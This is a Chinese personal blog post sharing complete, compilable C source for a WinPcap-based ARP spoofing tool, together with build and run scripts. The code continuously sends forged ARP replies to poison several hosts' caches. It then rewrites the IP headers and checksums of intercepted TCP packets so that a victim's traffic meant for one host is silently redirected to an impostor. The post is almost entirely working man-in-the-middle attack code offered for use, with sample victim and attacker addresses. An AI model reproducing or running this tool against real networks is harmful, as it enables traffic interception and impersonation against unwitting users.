注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

冒名ARP欺骗程序  

2014-03-24 15:55:06|  分类: 利用程序 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

编译 buildexe.bat ,内容如下:

cl ArpCheat.cpp /I "D:\WpdPack\include" /D WIN32 /D WPCAP "D:\WpdPack\Lib\wpcap.lib"

运行 cheat.bat ,内容如下:

rem 黑客250欺骗239当他访问40的时候实际上访问的是8
arpcheat 192.168.10.239 D0-67-E5-20-04-14 192.168.10.40 00-0B-CD-4E-14-47 192.168.10.8 00-15-60-A4-1E-05 192.168.10.250 00-03-FF-22-04-14


主要程序arpcheat.cpp

// arpcheat.cpp

#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")

#include "protoinfo.h"
#include "tcp.h"

// IP MAC对应表
typedef struct _IPMAC
{
 DWORD A; // 被害者的IP
 unsigned char a[6]; // 被害者的MAC

 DWORD B; // 原来要访问的IP
 unsigned char b[6]; // 原来要访问的MAC

 DWORD F; // 假冒的IP
 unsigned char f[6]; // 假冒的MAC

 DWORD H; // 黑客的IP
 unsigned char h[6]; // 黑客的MAC

} IPMAC, *PIPMAC;

// 目标的ARP缓存表
typedef struct _DESTARP
{
 DWORD DestIp; // 目标的IP
 unsigned char DestMac[6]; // 目标的MAC

 DWORD ArpIp; // 被欺骗的IP
 unsigned char ArpMacFalse[6]; // 不对应的假MAC
 unsigned char ArpMacTrue[6];  // 对应的真MAC
} DESTARP, *PDESTARP;

IPMAC t; // IP MAC对应表
DESTARP tA,tB,tF;
HANDLE hThread[3];

pcap_t *adhandle;

//
// 转换MAC字符串为MAC地址
//
BOOL MacStr2Bin(char *macstr,unsigned char *buff)
{
 if (strlen(macstr)!=17)
 {
  printf("[-] Error %s len!=17\n",macstr);
  return FALSE;
 }

 for (int i=0;i<6 ;i++ )
 {
  sscanf(macstr+3*i,"%02x",buff+i);
 }
 return TRUE;
}


// 0 1 2 3 4 5 6 7 8 9
//   A a B b F f H h
// 得到IP MAC对应表
void GetAllIPMac(char *v[])
{
 t.A = inet_addr( v[1] );
 MacStr2Bin(v[2], t.a);

 t.B = inet_addr( v[3] );
 MacStr2Bin(v[4], t.b);

 t.F = inet_addr( v[5] );
 MacStr2Bin(v[6], t.f);

 t.H = inet_addr( v[7] );
 MacStr2Bin(v[8], t.h);

}

// 0 1 2 3 4 5 6 7 8 9
//   A a B b F f H h
// 本机静态绑定IP MAC
void SetStatic(char *v[])
{
 char cmd[256];

 for (int i=1; i<9; i+=2)
 {
  sprintf(cmd,"arp -s %s %s\n", v[i], v[i+1]); // arp -s 1.1.1.1 11-22-33-44-55-66
  system(cmd);
 }
}

//
// 发送ARP Reply数据包的欺骗线程
//
UINT CheatThread(LPVOID lparam)

 PDESTARP p = (PDESTARP)lparam;
 u_char ucFrame[ARP_LEN];

 // 设置Ethernet头
 ETHeader eh = { 0 };
 memcpy(eh.dhost, p->DestMac, 6);
 memcpy(eh.shost, t.h, 6);
 eh.type = htons(ETHERTYPE_ARP);
 memcpy(ucFrame, &eh, sizeof(eh));

 // 设置Arp头
 ARPHeader ah = { 0 };
 ah.hrd = htons(ARPHRD_ETHER);
 ah.eth_type = htons(ETHERTYPE_IP);
 ah.maclen = 6;
 ah.iplen = 4;
 ah.opcode = htons(ARP_REPLY);

 memcpy(ah.smac, p->ArpMacFalse, 6); // 不对应的假MAC
 ah.saddr = p->ArpIp; // 被欺骗的IP
 memcpy(ah.dmac, p->DestMac, 6);
 ah.daddr = p->DestIp;

 memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah));

 // Loop send ARP Reply Packet
 while(1)
 {
  if(pcap_sendpacket(adhandle, (const unsigned char *) ucFrame,
   ARP_LEN) < 0)
  {
   printf("[-] Send Packet Error\n");
   return FALSE;
  }

  Sleep(3000); // Sleep 3 sec to restore arp cache
 }
 return TRUE; 
}

// 欺骗所有目标的不对应的IP MAC
void CheatArpCache()
{
 tA.DestIp = t.A;
 memcpy(tA.DestMac, t.a, 6);
 tA.ArpIp = t.B;
 memcpy(tA.ArpMacFalse, t.h, 6);
 memcpy(tA.ArpMacTrue, t.b, 6);
 hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tA, NULL, NULL);

 tB.DestIp = t.B;
 memcpy(tB.DestMac, t.b, 6);
 tB.ArpIp = t.A;
 memcpy(tB.ArpMacFalse, t.h, 6);
 memcpy(tB.ArpMacTrue, t.a, 6);
 hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tB, NULL, NULL);

 tF.DestIp = t.F;
 memcpy(tF.DestMac, t.f, 6);
 tF.ArpIp = t.A;
 memcpy(tF.ArpMacFalse, t.h, 6);
 memcpy(tF.ArpMacTrue, t.a, 6);
 hThread[2] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tF, NULL, NULL);

}

//
// 重新计算校验和
//
void ReCalcCheckSum(const u_char *pkt_data, unsigned int pkt_len)
{
 ETHeader *eh;
    IPHeader *ih;
    TCPHeader *th;
    u_int ip_len;

 eh = (ETHeader *) pkt_data;
 ih = (IPHeader *) (pkt_data + 14);
 ip_len = (ih->iphVerLen & 0xf) * 4;
 th = (TCPHeader *) ((u_char*)ih + ip_len);

 // 得到TCP数据包的指针和长度
 unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
  + sizeof(struct _TCPHeader);
 int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));

 ih->ipChecksum = 0;
 th->checksum = 0;
 ih->ipChecksum = checksum((USHORT *)ih, sizeof(_IPHeader));
 ComputeTcpPseudoHeaderChecksum(ih, th, (char *)datatcp, lentcp);
}

//
//  修改、转发、数据包的例程
//  程序的核心部分
//
void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
{
 ETHeader *eh;
    IPHeader *ih;
    TCPHeader *th;
    u_int ip_len;
 char szSource[16],szDest[16];
    u_short sport, dport;

 eh = (ETHeader *) pkt_data;

 if(eh->type != htons(ETHERTYPE_IP))
  return; // 只转发IP包

 ih = (IPHeader *) (pkt_data + 14); //找到IP头的位置,14为以太头的长度
 ip_len = (ih->iphVerLen & 0xf) * 4;
 th = (TCPHeader *) ((u_char*)ih + ip_len); // 找到TCP的位置

 // 开始过滤要转发的数据包
 // memcmp(&ih->ipDestination, &t.B, 4) == 0
 if (ih->ipDestination==t.B && memcmp(eh->dhost, t.h, 6) == 0)
 {
  // A->B/a->h => A->F/h->f
  if (memcmp(eh->shost, t.a, 6) == 0)
  {
   // 修改以太网头
   printf("[*] a->h => h->f\n");
   memcpy(eh->shost, t.h, 6);
   memcpy(eh->dhost, t.f, 6);

   if (ih->ipProtocol == PROTO_TCP)
   {
    printf("[*] A->B => A->F\n\n");
    ih->ipDestination = t.F;
    ReCalcCheckSum(pkt_data, pkt_len);
   }
   if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
   {
    printf("[-] Forward thread send packet error\n");
   }
  }
 }

 if (ih->ipDestination==t.A && memcmp(eh->dhost, t.h, 6) == 0)
 {
  // F->A/f->h => B->A/h->a
  if (memcmp(eh->shost, t.f, 6) == 0)
  {
   // 修改以太网头
   printf("[*] f->h => h->a\n");
   memcpy(eh->shost, t.h, 6);
   memcpy(eh->dhost, t.a, 6);

   if (ih->ipProtocol == PROTO_TCP)
   {
    printf("[*] F->A => B->A\n\n");
    ih->ipSource = t.B;
    ReCalcCheckSum(pkt_data, pkt_len);
   }
   if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
   {
    printf("[-] Forward thread send packet error\n");
   }
  }
 }
}

//
// pcap_loop的回调函数
// 把接收到的数据传给ForwardPacket函数处理
//
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
 ForwardPacket(adhandle, pkt_data,header->len);
}

//
// 重置ARP欺骗,恢复受骗主机的ARP cache
//
void ResetSpoof()
{
 printf("[*] Reseting .....\n");

 TerminateThread(hThread[0], 0); 
 TerminateThread(hThread[1], 0);
 TerminateThread(hThread[2], 0);

 memcpy(tA.ArpMacFalse, tA.ArpMacTrue, 6);
 hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tA, NULL, NULL);

 memcpy(tB.ArpMacFalse, tB.ArpMacTrue, 6);
 hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tB, NULL, NULL);

 memcpy(tF.ArpMacFalse, tF.ArpMacTrue, 6);
 hThread[2] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CheatThread, (LPVOID) &tF, NULL, NULL);

 printf("[*] Sleep 5s ");
 for(int i = 0; i < 12; i++, Sleep(300))
   printf(".");
 printf("\n");
 TerminateThread(hThread[0], 0); 
 TerminateThread(hThread[1], 0);
 TerminateThread(hThread[2], 0);

 // pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
 pcap_breakloop(adhandle);
}


//
// 捕获控制台事件的函数,主要是处理程序中断事务
//
BOOL CtrlHandler( DWORD fdwCtrlType )
{
 switch (fdwCtrlType)
 {
 // Handle the CTRL-C signal.
    case CTRL_C_EVENT:
    case CTRL_CLOSE_EVENT:
    case CTRL_BREAK_EVENT: 
    case CTRL_LOGOFF_EVENT:
    case CTRL_SHUTDOWN_EVENT:
  ResetSpoof(); //  恢复欺骗主机的arp cache
  return TRUE;  
    default:
  return FALSE;
 }
}

int main(int argc, char *argv[])
{
 pcap_if_t *alldevs;
 pcap_if_t *d;
 int inum;
 int i=0;
 char errbuf[PCAP_ERRBUF_SIZE];

 printf("***双向假冒通信测试***\n");
 if (argc != 9)
 {
  printf("帮助: %s A a B b F f H h\n", argv[0]);
  printf("说明:黑客H欺骗A使他访问B的时候实际上访问了F!\n");
  printf("大写字母表示IP,小写字母表示MAC\n");
  printf("***hcper @ 2014.3.23修改***\n");
  printf("参考:ARPSpoof Ver 3.1b by CoolDiyer\n");
  printf("例子: %s " \
    "192.168.10.1 11-11-11-11-11-11 " \
    "192.168.10.2 22-22-22-22-22-22 " \
    "192.168.10.3 33-33-33-33-33-33 " \
    "192.168.10.4 44-44-44-44-44-44\n", argv[0]);
  return 0;
 }
 
 /* Retrieve the device list */
 if(pcap_findalldevs(&alldevs, errbuf) == -1)
 {
  fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  exit(1);
 }
 
 /* Print the list */
 for(d=alldevs; d; d=d->next)
 {
  printf("%d. %s", ++i, d->name);
  if (d->description)
   printf(" (%s)\n", d->description);
  else
   printf(" (No description available)\n");
 }
 
 if(i==0)
 {
  printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
  return -1;
 }
 
 printf("Enter the interface number (1-%d):",i);
 scanf("%d", &inum);
 
 if(inum < 1 || inum > i)
 {
  printf("\nInterface number out of range.\n");
  /* Free the device list */
  pcap_freealldevs(alldevs);
  return -1;
 }
 
 /* Jump to the selected adapter */
 for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
 
 /* Open the device */
 /* Open the adapter */
 if ((adhandle= pcap_open_live(d->name, // name of the device
        65536,   // portion of the packet to capture.
           // 65536 grants that the whole packet will be captured on all the MACs.
        1,    // promiscuous mode (nonzero means promiscuous)
        1000,   // read timeout
        errbuf   // error buffer
        )) == NULL)
 {
  fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
  /* Free the device list */
  pcap_freealldevs(alldevs);
  return -1;
 }
 
 printf("\nlistening on %s...\n", d->description);
 
 SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);

 GetAllIPMac(argv); // 得到所有的相关IP与MAC

 SetStatic(argv); // 本机设置静态IP MAC对应表

 CheatArpCache(); // 欺骗ARP缓存


 /* At this point, we don't need any more the device list. Free it */
 pcap_freealldevs(alldevs);

 /* start the capture */
 pcap_loop(adhandle, 0, packet_handler, NULL);
 
 pcap_close(adhandle);

 return 0;
}

// protoinfo.h

//////////////////////////////////////////////////
// protoinfo.h文件

/*

定义协议格式
定义协议中使用的宏

*/


#ifndef __PROTOINFO_H__
#define __PROTOINFO_H__


#define ETHERTYPE_IP    0x0800
#define ETHERTYPE_ARP   0x0806
#define ARP_REPLY  0x0002   /* ARP reply */
#define ARPHRD_ETHER  1
#define ARP_LEN   48
// 协议
#define PROTO_TCP     6

typedef struct ip_address
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
}ip_address;

#pragma pack(push, 1)//取消内存大小自动对齐

typedef struct _ETHeader         // 14字节的以太头
{
 UCHAR dhost[6];   // 目的MAC地址destination mac address
 UCHAR shost[6];   // 源MAC地址source mac address
 USHORT type;    // 下层协议类型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等
} ETHeader, *PETHeader;

typedef struct _ARPHeader  // 28字节的ARP头
{
 USHORT hrd;    // 硬件地址空间,以太网中为ARPHRD_ETHER
 USHORT eth_type;   //  以太网类型,ETHERTYPE_IP ??
 UCHAR maclen;    // MAC地址的长度,为6
 UCHAR iplen;    // IP地址的长度,为4
 USHORT opcode;    // 操作代码,ARPOP_REQUEST为请求,ARPOP_REPLY为响应
 UCHAR smac[6];   // 源MAC地址
 ULONG saddr;   // 源IP地址
 UCHAR dmac[6];   // 目的MAC地址
 ULONG daddr;   // 目的IP地址
} ARPHeader, *PARPHeader;

typedef struct _IPHeader  // 20字节的IP头
{
    UCHAR     iphVerLen;      // 版本号和头长度(各占4位)
    UCHAR     ipTOS;          // 服务类型
    USHORT    ipLength;       // 封包总长度,即整个IP报的长度
    USHORT    ipID;     // 封包标识,惟一标识发送的每一个数据报
    USHORT    ipFlags;       // 标志
    UCHAR     ipTTL;       // 生存时间,就是TTL
    UCHAR     ipProtocol;     // 协议,可能是TCP、UDP、ICMP等
    USHORT    ipChecksum;     // 校验和
 union {
  unsigned int   ipSource;
  ip_address ipSourceByte;
 };
 union {
  unsigned int   ipDestination;
  ip_address ipDestinationByte;
 };
} IPHeader, *PIPHeader;

typedef struct _TCPHeader  // 20字节的TCP头
{
 USHORT sourcePort;   // 16位源端口号
 USHORT destinationPort; // 16位目的端口号
 ULONG sequenceNumber;  // 32位序列号
 ULONG acknowledgeNumber; // 32位确认号
 UCHAR dataoffset;   // 高4位表示数据偏移
 UCHAR flags;    // 6位标志位
        //FIN - 0x01
        //SYN - 0x02
        //RST - 0x04
        //PUSH- 0x08
        //ACK- 0x10
        //URG- 0x20
        //ACE- 0x40
        //CWR- 0x80

 USHORT windows;   // 16位窗口大小
 USHORT checksum;   // 16位校验和
 USHORT urgentPointer;  // 16位紧急数据偏移量
} TCPHeader, *PTCPHeader;

#endif // __PROTOINFO_H__
#pragma pack(pop)

 

// tcp.h


//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
       unsigned long cksum=0;
       while (size >1) {
              cksum+=*buffer++;
              size-=sizeof(USHORT);
       }
       if (size) cksum += *(UCHAR*) buffer;
       cksum = (cksum >> 16) + (cksum&0xffff);
       cksum += (cksum >> 16);
       return (USHORT) (~cksum);
}

//
// 计算TCP检验和的函数
// 这个函数超级有用,起关键性的作用
//
void ComputeTcpPseudoHeaderChecksum(IPHeader    *pIphdr, TCPHeader *pTcphdr,
    char *payload, int payloadlen)
{
 
 char *buff = (char *) malloc(1024+payloadlen);
 char *ptr=buff;

 int chksumlen = 0;
 ULONG zero = 0;
 
 // 伪头
 // 包含源IP地址和目的IP地址
 memcpy(ptr, &pIphdr->ipSource, sizeof(pIphdr->ipSource));
 ptr += sizeof(pIphdr->ipSource);
 chksumlen += sizeof(pIphdr->ipSource);

 memcpy(ptr, &pIphdr->ipDestination, sizeof(pIphdr->ipDestination));
 ptr += sizeof(pIphdr->ipDestination);
 chksumlen += sizeof(pIphdr->ipDestination);

 // 包含8位0域
 memcpy(ptr, &zero, 1);
 ptr += 1;
 chksumlen += 1;

 // 协议
 memcpy(ptr, &pIphdr->ipProtocol, sizeof(pIphdr->ipProtocol));
 ptr += sizeof(pIphdr->ipProtocol);
 chksumlen += sizeof(pIphdr->ipProtocol);

 // TCP长度
 USHORT tcp_len = htons(sizeof(TCPHeader) + payloadlen);
 memcpy(ptr, &tcp_len, sizeof(tcp_len));
 ptr += sizeof(tcp_len);
 chksumlen += sizeof(tcp_len);

  // TCP头
 memcpy(ptr, pTcphdr, sizeof(TCPHeader));
 ptr += sizeof(TCPHeader);
 chksumlen += sizeof(TCPHeader);

  // 净荷
 memcpy(ptr, payload, payloadlen);
 ptr += payloadlen;
 chksumlen += payloadlen;

 // 补齐到下一个16位边界
 for(int i=0; i < payloadlen % 2; i++)
 {
  *ptr = 0;
  ptr ++;
  chksumlen ++;
 }

 // 计算这个校验和,将结果填充到TCP头
 pTcphdr->checksum = checksum((USHORT*) buff, chksumlen);
}

  评论这张
 
阅读(476)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017